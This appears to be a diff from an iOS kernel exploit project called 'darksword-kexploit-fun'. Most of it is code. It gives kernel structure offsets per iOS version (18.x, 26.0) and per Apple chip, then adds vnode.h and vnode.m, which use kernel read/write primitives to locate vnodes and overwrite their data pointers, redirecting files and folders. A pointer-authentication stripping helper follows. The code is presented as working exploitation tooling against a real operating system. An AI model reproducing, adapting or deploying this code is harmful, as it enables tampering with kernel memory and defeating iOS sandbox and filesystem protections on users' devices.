off_thread_ast = 0x404;
off_thread_task_threads_next = 0x3D0;
}
if(isA10) {
off_thread_t_tro = 0x3A0;
off_thread_ctid = 0x450;
off_thread_mutex_lck_mtx_data = 0x3C8+8;
off_thread_ast = 0x3C4;
off_thread_task_threads_next = 0x390;
}
}
// iOS 18.4-18.5
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.4")) {
off_thread_guard_exc_info_code = 0xdeaddead; //no more exist, renamed to mach_exc_info.code
off_proc_ro_p_ucred = 0x28; //18.4-18.7
off_thread_t_tro = 0x378;
off_thread_ctid = 0x428;
off_thread_mutex_lck_mtx_data = 0x3A0+8;
off_thread_mach_exc_info_code = 0x328; //newly added
off_thread_mach_exc_info_os_reason = 0x328-8; //newly added
off_thread_mach_exc_info_exception_type = 0x328-4; //newly added
off_thread_ast = 0x39C;
off_thread_task_threads_next = 0x368;
off_task_task_exc_guard = 0x5FC;
if(isA13Above) {
off_thread_t_tro = 0x388;
off_thread_ctid = 0x438;
off_thread_mutex_lck_mtx_data = 0x3B0+8;
off_thread_mach_exc_info_code = 0x338;
off_thread_mach_exc_info_os_reason = 0x338-8;
off_thread_mach_exc_info_exception_type = 0x338-4;
off_thread_ast = 0x3AC;
off_thread_task_threads_next = 0x378;
}
if(isA15Above) {
off_thread_t_tro = 0x390;
off_thread_ctid = 0x448;
off_thread_mutex_lck_mtx_data = 0x3B8+8;
off_thread_mach_exc_info_code = 0x340;
off_thread_mach_exc_info_os_reason = 0x340-8;
off_thread_mach_exc_info_exception_type = 0x340-4;
off_thread_ast = 0x3B4;
off_thread_task_threads_next = 0x380;
off_task_task_exc_guard = 0x624;
}
if(isA17Above) {
off_thread_t_tro = 0x3E0;
off_thread_ctid = 0x498;
off_thread_mutex_lck_mtx_data = 0x408+8;
off_thread_mach_exc_info_code = 0x390;
off_thread_mach_exc_info_os_reason = 0x390-8;
off_thread_mach_exc_info_exception_type = 0x390-4;
off_thread_ast = 0x404;
off_thread_task_threads_next = 0x3D0;
}
if(gIsA18Above) {
off_thread_t_tro = 0x3E8;
off_thread_ctid = 0x4A8;
off_thread_mutex_lck_mtx_data = 0x410+8;
off_thread_mach_exc_info_code = 0x398;
off_thread_mach_exc_info_os_reason = 0x398-8;
off_thread_mach_exc_info_exception_type = 0x398-4;
off_thread_ast = 0x40C;
off_thread_task_threads_next = 0x3D8;
}
if(isA10) {
off_thread_t_tro = 0x3A8;
off_thread_ctid = 0x458;
off_thread_mutex_lck_mtx_data = 0x3D0+8;
off_thread_mach_exc_info_code = 0x358;
off_thread_ast = 0x3CC;
off_thread_task_threads_next = 0x398;
off_task_task_exc_guard = 0x5E4;
}
}
// iOS 18.6-18.7
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.6")) {
off_thread_t_tro = 0x380;
off_thread_ctid = 0x430;
off_thread_mutex_lck_mtx_data = 0x3a8+8;
off_thread_mach_exc_info_code = 0x330;
off_thread_mach_exc_info_os_reason = 0x330-8;
off_thread_mach_exc_info_exception_type = 0x330-4;
off_thread_ast = 0x3A4;
off_thread_task_threads_next = 0x370;
if(isA13Above) {
off_thread_t_tro = 0x390;
off_thread_ctid = 0x440;
off_thread_mutex_lck_mtx_data = 0x3B8+8;
off_thread_mach_exc_info_code = 0x340;
off_thread_mach_exc_info_os_reason = 0x340-8;
off_thread_mach_exc_info_exception_type = 0x340-4;
off_thread_ast = 0x3B4;
off_thread_task_threads_next = 0x380;
}
if(isA15Above) {
off_thread_t_tro = 0x398;
off_thread_ctid = 0x450;
off_thread_mutex_lck_mtx_data = 0x3c0+8;
off_thread_mach_exc_info_code = 0x348;
off_thread_mach_exc_info_os_reason = 0x348-8;
off_thread_mach_exc_info_exception_type = 0x348-4;
off_thread_ast = 0x3bc;
off_thread_task_threads_next = 0x388;
}
if(isA17Above) {
off_thread_t_tro = 0x3E8;
off_thread_ctid = 0x4a0;
off_thread_mutex_lck_mtx_data = 0x410+8;
off_thread_mach_exc_info_code = 0x398;
off_thread_mach_exc_info_os_reason = 0x398-8;
off_thread_mach_exc_info_exception_type = 0x398-4;
off_thread_ast = 0x40C;
off_thread_task_threads_next = 0x3D8;
}
if(gIsA18Above) {
off_thread_t_tro = 0x3F0;
off_thread_ctid = 0x4b0;
off_thread_mutex_lck_mtx_data = 0x418+8;
off_thread_mach_exc_info_code = 0x3a0;
off_thread_mach_exc_info_os_reason = 0x3a0-8;
off_thread_mach_exc_info_exception_type = 0x3a0-4;
off_thread_ast = 0x414;
off_thread_task_threads_next = 0x3E0;
}
if(isA10) {
// same with iOS 18.4-18.5
}
}
// iOS 26.0.x
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0")) {
off_inpcb_inp_list_le_next = 0x20;
off_inpcb_inp_pcbinfo = 0x38;
off_inpcb_inp_socket = 0x40;
off_inpcb_inp_depend6_inp6_icmp6filt = 0x148;
off_inpcb_inp_depend6_inp6_chksum = 0x150;
off_inpcbinfo_ipi_zone = 0x68;
off_socket_so_usecount = 0x23c;
off_socket_so_proto = 0x20;
off_socket_so_background_thread = 0x298;
off_kalloc_type_view_kt_zv_zv_name = 0x10;
off_thread_ro_tro_proc = 0x18;
off_thread_ro_tro_task = 0x28;
off_thread_machine_upcb = 0xb8; //different PER DEVICES; A12+, A17+&M3+
off_thread_machine_contextdata = 0xb8-8; //different PER DEVICES; A12+, A17+&M3+
off_thread_t_tro = 0x390; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4
off_thread_ctid = 0x430; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4
off_thread_options = 0x70; //different PER DEVICES; A12+, A17+&M3+
off_thread_mutex_lck_mtx_data = 0x3A8+8; //different PER DEVICES; A12, A13+, A15+, A17+&M3, A18&M4
off_thread_machine_kstackptr = 0xf0; //different PER DEVICES; A12, A13+, A17+&M3+
off_thread_machine_jop_pid = 0x160; //different PER DEVICES; A12, A13+, A15+, A17+
off_thread_machine_rop_pid = 0x160-8; //different PER DEVICES; A12, A13+, A15+, A17+
off_thread_guard_exc_info_code = 0xdeaddead; //has been renamed to off_thread_mach_exc_info_code
off_thread_mach_exc_info_code = 0x330; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4
off_thread_mach_exc_info_os_reason = 0x330-8; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4
off_thread_mach_exc_info_exception_type = 0x330-4; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4
off_thread_ast = 0x3A4; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4
off_thread_task_threads_next = 0x370; //different PER DEVICES; A12, A13+, A15+, A17/M3, A18&M4
off_proc_p_list_le_next = 0x0;
off_proc_p_list_le_prev = 0x8;
off_proc_p_proc_ro = 0x18;
off_proc_p_pid = 0x60;
off_proc_p_fd = 0xd0;
off_proc_p_flag = 0x454;
off_proc_p_textvp = 0x548;
off_proc_p_name = 0x57D;
off_proc_ro_pr_task = 0x8;
off_proc_ro_p_ucred = 0x28;
off_ucred_cr_label = 0x78;
off_task_itk_space = 0x310; //same PER DEVICES;
off_task_threads_next = 0x50;
off_task_task_exc_guard = 0x5d4; //different PER DEVICES; A12+, A15+&M3, A18&M4
off_task_map = 0x28;
off_filedesc_fd_ofiles = 0x28;
off_filedesc_fd_cdir = 0x48;
off_fileproc_fp_glob = 0x10;
off_fileglob_fg_data = 0x38;
off_fileglob_fg_flag = 0x10;
off_vnode_v_ncchildren_tqh_first = 0x30;
off_vnode_v_nclinks_lh_first = 0x40;
off_vnode_v_parent = 0xc0;
off_vnode_v_data = 0xe0;
off_vnode_v_name = 0xb8;
off_vnode_v_usecount = 0x60;
off_vnode_v_iocount = 0x64;
off_vnode_v_writecount = 0xb0;
off_vnode_v_flag = 0x54;
off_vnode_v_mount = 0xd8;
off_mount_mnt_flag = 0x70;
off_namecache_nc_vp = 0x50;
off_namecache_nc_child_tqe_next = 0x10;
off_arm_saved_state64_lr = 0xf0;
off_arm_saved_state64_pc = 0x100;
off_arm_saved_state_uss_ss_64 = 0x8;
off_ipc_space_is_table = 0x48;
off_ipc_entry_ie_object = 0;
off_ipc_port_ip_kobject = 0x50;
off_arm_kernel_saved_state_sp = 0x60;
off_vm_map_hdr = 0x10;
off_vm_map_header_nentries = 0x20;
off_vm_map_entry_links_next = 0x8;
off_vm_map_entry_vme_object_or_delta = 0x3c;
off_vm_map_entry_vme_alias = 0x40;
off_vm_map_header_links_next = 0x8;
off_vm_object_vo_un1_vou_size = 0x18;
off_vm_object_ref_count = 0x28;
off_vm_named_entry_backing_copy = 0x10;
off_vm_named_entry_size = 0x20;
off_label_l_perpolicy_amfi = 0x8;
off_label_l_perpolicy_sandbox = 0x10;
if(isA13Above) {
off_thread_t_tro = 0x390;
off_thread_ctid = 0x440;
off_thread_mutex_lck_mtx_data = 0x3B8+8;
off_thread_machine_kstackptr = 0xf8;
off_thread_machine_jop_pid = 0x168;
off_thread_machine_rop_pid = 0x168-8;
off_thread_mach_exc_info_code = 0x340;
off_thread_mach_exc_info_os_reason = 0x340-8;
off_thread_mach_exc_info_exception_type = 0x340-4;
off_thread_ast = 0x3b4;
off_thread_task_threads_next = 0x380;
}
if(isA15Above) {
off_thread_t_tro = 0x398;
off_thread_ctid = 0x450;
off_thread_mutex_lck_mtx_data = 0x3C0+8;
off_thread_machine_jop_pid = 0x170;
off_thread_machine_rop_pid = 0x170-8;
off_thread_mach_exc_info_code = 0x348;
off_thread_mach_exc_info_os_reason = 0x348-8;
off_thread_mach_exc_info_exception_type = 0x348-4;
off_thread_ast = 0x3BC;
off_thread_task_threads_next = 0x388;
off_task_task_exc_guard = 0x5fc;
}
if(isA17Above) {
off_thread_machine_upcb = 0x108;
off_thread_machine_contextdata = 0x108-8;
off_thread_t_tro = 0x3e8;
off_thread_ctid = 0x4a0;
off_thread_options = 0xc0;
off_thread_mutex_lck_mtx_data = 0x410+8;
off_thread_machine_kstackptr = 0x148;
off_thread_machine_jop_pid = 0x1c0;
off_thread_machine_rop_pid = 0x1c0-8;
off_thread_mach_exc_info_code = 0x398;
off_thread_mach_exc_info_os_reason = 0x398-8;
off_thread_mach_exc_info_exception_type = 0x398-4;
off_thread_ast = 0x40c;
off_thread_task_threads_next = 0x3d8;
}
if(gIsA18Above) {
off_thread_t_tro = 0x3f0;
off_thread_ctid = 0x4b0;
off_thread_mutex_lck_mtx_data = 0x418+8;
off_thread_mach_exc_info_code = 0x3a0;
off_thread_mach_exc_info_os_reason = 0x3a0-8;
off_thread_mach_exc_info_exception_type = 0x3a0-4;
off_thread_ast = 0x414;
off_thread_task_threads_next = 0x3e0;
off_task_task_exc_guard = 0x604;
}
}
pac_mask = ~((1ULL << (64 - t1sz_boot)) - 1ULL);
}
+26
View File
@@ -0,0 +1,26 @@
//
// vnode.h
// darksword-kexploit-fun
//
// Created by seo on 3/25/26.
//
#ifndef vnode_h
#define vnode_h
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
uint64_t get_vnode_for_path_by_chdir(const char *path);
uint64_t get_vnode_for_path_by_open(const char *path);
uint64_t get_vnode_by_fd(int fd);
uint64_t vnode_redirect_folder(const char *to, const char *from);
bool vnode_unredirect_folder(const char *folder, uint64_t orig_to_v_data);
bool vnode_redirect_file(const char *to, const char *from, uint64_t* orig_to_vnode, uint64_t* orig_to_v_data);
bool vnode_unredirect_file(uint64_t orig_to_vnode, uint64_t orig_to_v_data);
char* vnode_get_v_name(uint64_t vnode);
uint64_t get_rootvnode(void);
uint64_t vnode_get_child_vnode(uint64_t vnode, const char* child_filename, uint64_t blacklist_vdata);
#endif /* vnode_h */
+158
View File
@@ -0,0 +1,158 @@
//
// vnode.m
// darksword-kexploit-fun
//
// Created by seo on 3/25/26.
//
#import "vnode.h"
#import "krw.h"
#import "kutils.h"
#import "offsets.h"
#import "xpaci.h"
#import <stdlib.h>
#import <unistd.h>
#import <fcntl.h>
#import <stdbool.h>
#import <string.h>
#import <Foundation/Foundation.h>
uint64_t get_vnode_for_path_by_chdir(const char *path) {
if (access(path, F_OK) == -1) {
return -1;
}
if (chdir(path) == -1) { return -1; }
uint64_t fd_cdir_vp = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_cdir);
chdir("/");
return fd_cdir_vp;
}
uint64_t get_vnode_for_path_by_open(const char *path) {
int fd = open(path, O_RDONLY);
if (fd == -1) return -1;
uint64_t fileprocPtrArr = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_ofiles);
fileprocPtrArr = xpaci(fileprocPtrArr);
uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd));
uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob);
fp_glob = xpaci(fp_glob);
uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data);
vnode = xpaci(vnode);
close(fd);
return vnode;
}
uint64_t get_vnode_by_fd(int fd) {
uint64_t fileprocPtrArr = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_ofiles);
fileprocPtrArr = xpaci(fileprocPtrArr);
uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd));
uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob);
fp_glob = xpaci(fp_glob);
uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data);
vnode = xpaci(vnode);
return vnode;
}
uint64_t get_rootvnode(void) {
uint64_t launchd_proc = proc_find(1);
uint64_t launchd_vnode = kread64(launchd_proc + off_proc_p_textvp);
launchd_vnode = xpaci(launchd_vnode);
uint64_t sbin_vnode = kread64(launchd_vnode + off_vnode_v_parent);
sbin_vnode = xpaci(sbin_vnode);
uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent);
root_vnode = xpaci(root_vnode);
return root_vnode;
}
char vp_name[256];
char* vnode_get_v_name(uint64_t vnode) {
memset(vp_name, 0, 256);
uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);
kreadbuf(vp_nameptr, &vp_name, 256);
return vp_name;
}
uint64_t vnode_redirect_folder(const char *to, const char *from) {
uint64_t to_vnode = get_vnode_for_path_by_chdir(to);
uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data);
uint64_t from_vnode = get_vnode_for_path_by_chdir(from);
uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data);
kwrite64(to_vnode + off_vnode_v_data, from_v_data);
return orig_to_v_data;
}
bool vnode_unredirect_folder(const char *folder, uint64_t orig_to_v_data) {
uint64_t vnode = get_vnode_for_path_by_chdir(folder);
if (vnode == -1) return false;
kwrite64(vnode + off_vnode_v_data, orig_to_v_data);
return true;
}
bool vnode_redirect_file(const char *to, const char *from, uint64_t* orig_to_vnode, uint64_t* orig_to_v_data) {
uint64_t to_vnode = get_vnode_for_path_by_open(to);
if(to_vnode == -1) {
NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent];
NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent];
uint64_t to_dir_vnode = get_vnode_for_path_by_chdir(to_dir.UTF8String);
to_vnode = vnode_get_child_vnode(to_dir_vnode, to_file.UTF8String, 0);
if(to_vnode == -1) {
printf("[-] Couldn't find file (to): %s", to);
return false;
}
}
uint64_t from_vnode = get_vnode_for_path_by_open(from);
if(from_vnode == -1) {
NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent];
NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent];
uint64_t from_dir_vnode = get_vnode_for_path_by_chdir(from_dir.UTF8String);
from_vnode = vnode_get_child_vnode(from_dir_vnode, from_file.UTF8String, 0);
if(from_vnode == 0) {
printf("[-] Couldn't find file (from): %s", from);
return false;
}
}
*orig_to_vnode = to_vnode;
*orig_to_v_data = kread64(to_vnode + off_vnode_v_data);
uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data);
kwrite64(to_vnode + off_vnode_v_data, from_v_data);
return true;
}
bool vnode_unredirect_file(uint64_t orig_to_vnode, uint64_t orig_to_v_data) {
kwrite64(orig_to_vnode + off_vnode_v_data, orig_to_v_data);
return true;
}
uint64_t vnode_get_child_vnode(uint64_t vnode, const char* child_filename, uint64_t blacklist_vdata) {
uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);
if(vp_namecache == 0) return -1;
while(1) {
if(vp_namecache == 0) break;
vnode = kread64(vp_namecache + off_namecache_nc_vp);
if(vnode == 0) break;
char* vp_name = vnode_get_v_name(vnode);
if(strcmp(vp_name, child_filename) == 0 && kread64(vnode + off_vnode_v_data) != blacklist_vdata) {
return vnode;
}
vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_next);
}
return -1;
}
+23
View File
@@ -0,0 +1,23 @@
// ptrauth.h replacement
#include <stdbool.h>
extern bool gIsPACSupported;
static uint64_t __attribute((naked)) __xpaci(uint64_t a)
{
asm(".long 0xDAC143E0"); // XPACI X0
asm("ret");
}
static uint64_t xpaci(uint64_t a)
{
if(!gIsPACSupported) return a;
// If a looks like a non-pac'd pointer just return it
if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000)
{
return a;
}
return __xpaci(a);
}